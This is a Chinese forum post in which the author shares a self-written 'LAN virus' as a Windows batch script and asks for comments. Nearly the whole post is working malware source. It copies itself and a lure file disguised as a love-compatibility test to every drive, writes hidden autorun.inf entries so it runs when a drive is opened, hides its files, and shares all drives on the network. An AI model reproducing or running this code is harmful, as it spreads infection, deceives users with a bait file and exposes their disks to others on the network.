『楼 主』:
[原创]菜鸟刚编的局域网病毒，请大家指教
@echo off
dir > 365.txt
find "的目录" 365.txt >linshi.txt
for /f "skip=2 tokens=1 delims=\ " %%a in (linshi.txt) do explorer %%a
del 365.txt & del linshi.txt
::先根据用户操作打开相应磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do copy /y icefire.exe %%k:
::复制本身到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do copy /y icefire.exe %%k:\姻缘测试.exe
::复制诱惑文件到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo [AutoRun]>>%%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo shell\open\command=icefire.exe>>%%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo shell\open=打开(^&O)>>%%k:\autorun.inf
::以上三条为写自运行autorun.inf到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib +s +h +r %%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib +s +h +r %%k:\icefire.exe
::隐藏自运行autorun.inf和病毒文件本体
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do net share %%k=%%k:
::共享所有磁盘
::实现本地计算机所有磁盘完全共享
::本程序为自己编写，有一定的危害。本身程序运行有可能会被卡巴所杀。请勿用于不正当用途
::请大家多指教啊
|
